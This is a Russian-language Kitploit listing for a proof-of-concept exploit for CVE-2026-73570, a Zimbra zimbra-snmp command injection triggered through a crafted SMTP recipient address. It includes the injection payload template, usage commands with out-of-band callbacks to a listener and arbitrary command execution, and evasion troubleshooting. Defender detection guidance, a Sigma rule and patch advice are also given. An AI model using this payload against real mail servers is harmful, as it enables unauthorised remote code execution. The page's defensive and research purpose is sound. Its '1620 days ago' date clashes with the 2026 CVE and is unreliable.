Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/hainhc/cve-2026-73570
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеРеагирование на ИнцидентыБезопасность Электронной Почты
GitHubhainhc/cve-2026-73570

CVE-2026-73570

Эксплойт proof-of-concept для CVE-2026-73570 — неаутентифицированная инъекция команд ОС в Zimbra Collaboration Suite через инъекцию в лог zimbra-snmp, с рекомендациями по обнаружению.

Репозиторий
1620 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-73570 — Zimbra zimbra-snmp: внедрение команд ОС без аутентификации (PoC)

Proof-of-concept эксплойт для CVE-2026-73570 — внедрение команд ОС без аутентификации (CWE-78, CVSS 8.9) в Zimbra Collaboration Suite < 10.1.20, когда установлен пакет zimbra-snmp и включены SNMP-уведомления.

Отказ от ответственности: Данный PoC предназначен исключительно для авторизованного тестирования на проникновение, оборонительных исследований и проверки собственных систем. Не используйте его против любых систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.

Механизм уязвимости

Функция SNMP-уведомлений Zimbra использует swatchdog для мониторинга /var/log/zimbra.log на предмет событий сервисов. Когда строка лога соответствует шаблону наблюдения, совпавший текст подставляется в shell-команду, отправляющую SNMP-уведомление, — без санитизации.

Цепочка атаки:

1. Атакующий отправляет SMTP-сессию с подготовленным адресом RCPT TO:

   RCPT TO:<"x: Service status change: localhost $(CMD)
            changed from stopped to running"@cve.invalid>

   Локальная часть является quoted-string по RFC 5321, поэтому Postfix
   принимает синтаксис адреса (включая пробелы, двоеточия, $(...)).

2. Postfix отклоняет получателя (relay denied / user unknown / sender
   restriction) и записывает ПОЛНУЮ строку to=<...>, с удалёнными кавычками,
   в /var/log/zimbra.log:

   NOQUEUE: reject: RCPT from unknown[x.x.x.x]: ... to=<x: Service status
   change: localhost $(CMD) changed from stopped to [email protected]> ...

3. swatchdog (zimbra-snmp) периодически сканирует лог и сопоставляет его
   с шаблоном watchfor "Service status change ... changed from ... to ...".

4. Совпавший текст подставляется в shell-команду SNMP-уведомления
   -> $(CMD) вычисляется -> выполнение команды от имени пользователя `zimbra`.

Требования

Цель должна удовлетворять всем следующим условиям:

  • Zimbra Collaboration < 10.1.20
  • Установлен пакет zimbra-snmp
  • Включены SNMP-уведомления (zmlocalconfig | grep -i snmp_notify)

Сторона атакующего: Python 3 (только стандартная библиотека, без зависимостей).

Использование

# 1. Verify RCE via out-of-band DNS callback (interactsh / Burp Collaborator):
python3 poc_cve_2026_73570.py -t mail.target.com --oob abc123.oast.site

# 2. Verify RCE via HTTP callback to your listener:
python3 poc_cve_2026_73570.py -t mail.target.com --oob http://10.0.0.5:8884/cb

# 3. Drop a marker file on the host (check manually on the server afterwards):
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "touch /tmp/CVE-2026-73570_pwned"

# 4. Fingerprint only (no payload sent):
python3 poc_cve_2026_73570.py -t mail.target.com --check-only

# Debug: print the full SMTP transcript
python3 poc_cve_2026_73570.py -t mail.target.com --cmd "id" --debug

Опции:

ФлагОписание
-t, --targetIP/имя хоста SMTP целевого Zimbra (обязательно)
-p, --portПорт SMTP (по умолчанию: 25)
--tlsИспользовать STARTTLS (например, порт 587)
--oobOOB DNS-домен или URL HTTP-колбэка (рекомендуется)
--cmdПроизвольная команда вместо OOB-колбэка
--fake-hostИмя хоста внутри поддельной строки Service status change (по умолчанию: localhost)
--check-onlyТолько фингерпринтинг, без отправки полезной нагрузки
--delayЗадержка между отправками в секундах (по умолчанию: 1.0)
--debugВыводить полный SMTP-транскрипт

Проверка

Скрипт отправляет каждую команду в нескольких вариантах внедрения ($(...), обратные кавычки, ;cmd;#, $({IFS}...)). Для каждого варианта следите за кодом ответа на RCPT:

Ответ на RCPTЗначение
250, 450, 454 Relay access denied, 550 5.1.1 User unknownСинтаксис адреса принят — строка отклонения с полной строкой to=<...> теперь в логе. Полезная нагрузка внедрена.
501 5.1.3 Bad recipient address syntaxPostfix отклонил адрес на этапе разбора — ничего полезного не залогировано. Скрипт автоматически повторяет попытку с неэкранированным запасным вариантом.

Затем подтвердите на сервере (если у вас есть доступ):

# The injected line must be present:
grep 'Service status change' /var/log/zimbra.log | tail
# Expected: ... to=<x: Service status change: localhost $(...) changed from stopped to [email protected]> ...

# Wait 1-5 minutes (swatchdog scans the log periodically — execution is NOT real-time),
# then check for the effect:
ls -la /tmp/                    # if you used --cmd
# or watch your OOB listener for the callback

Если строка лога присутствует, но команда так и не выполняется, оставшиеся предусловия находятся на стороне swatchdog: проверьте, что процесс запущен (ps aux | grep swatch) и что его конфигурация действительно отслеживает шаблон Service status change.

Контекст выполнения: команды выполняются от имени пользователя zimbra (не root).

Устранение неполадок

  • Строк лога вообще нет: вероятно, ваш исходный IP заблокирован (fail2ban после повторных некорректных попыток или межсетевой экран). Проверьте fail2ban-client status, iptables -L -n | grep <your_ip> и убедитесь, что пакеты доходят до Postfix, с помощью tcpdump -i any port 25 and host <your_ip> -nn -A.
  • Слишком узкий grep: некорректные адреса логируются как warning: Illegal address syntax ... in RCPT command: ..., а не как строка NOQUEUE: reject. Ищите по IP атакующего.
  • Задержка выполнения: swatchdog опрашивает лог циклически — подождите 1–5 минут, прежде чем делать вывод о неудаче.

Обнаружение (для защитников)

Ключевые индикаторы успешной эксплуатации:

  1. Артефакт в логе (попытка): to=<*: Service status change: *$(...)* внутри строки отклонения Postfix в /var/log/zimbra.log — практически нулевой уровень ложных срабатываний, поскольку текст Service status change никогда легитимно не появляется внутри адреса to=<>.
  2. Дерево процессов (высокая достоверность): любой shell или интерпретатор команд (sh, bash, curl, wget, nc, python, perl), запущенный как дочерний процесс swatchdog / swatch.
  3. Постэксплуатация: новые файлы .jsp/.jspx в /opt/zimbra/jetty/webapps/ или /opt/zimbra/jetty_base/webapps/, неожиданные файлы в /tmp/, новые записи cron или SSH-ключи для пользователя zimbra, а также исходящие соединения с почтового сервера, не соответствующие нормальному почтовому трафику.

Пример правила Sigma (стадия попытки):

title: Zimbra SNMP Notification Log Injection Attempt - CVE-2026-73570
logsource:
  product: linux
  service: postfix
detection:
  sel:
    - 'to=<*: Service status change: *$(*'
    - 'to=<*: Service status change: *`*'
  condition: sel
level: high
tags:
  - attack.initial-access
  - attack.t1190
  - cve.2026.73570

Устранение уязвимости

  • Обновите Zimbra Collaboration до 10.1.20 или более поздней версии.
  • Если немедленное обновление невозможно: отключите SNMP-уведомления и рассмотрите остановку/удаление пакета zimbra-snmp до установки патча.
  • Данная CVE включена в CISA KEV с подтверждённой активной эксплуатацией — проведите поиск по логам как минимум за 30 дней на любой ранее уязвимой системе и рассматривайте любое подтверждённое компрометирование как полную утечку данных почтовых ящиков.

Ссылки

Скачать инструмент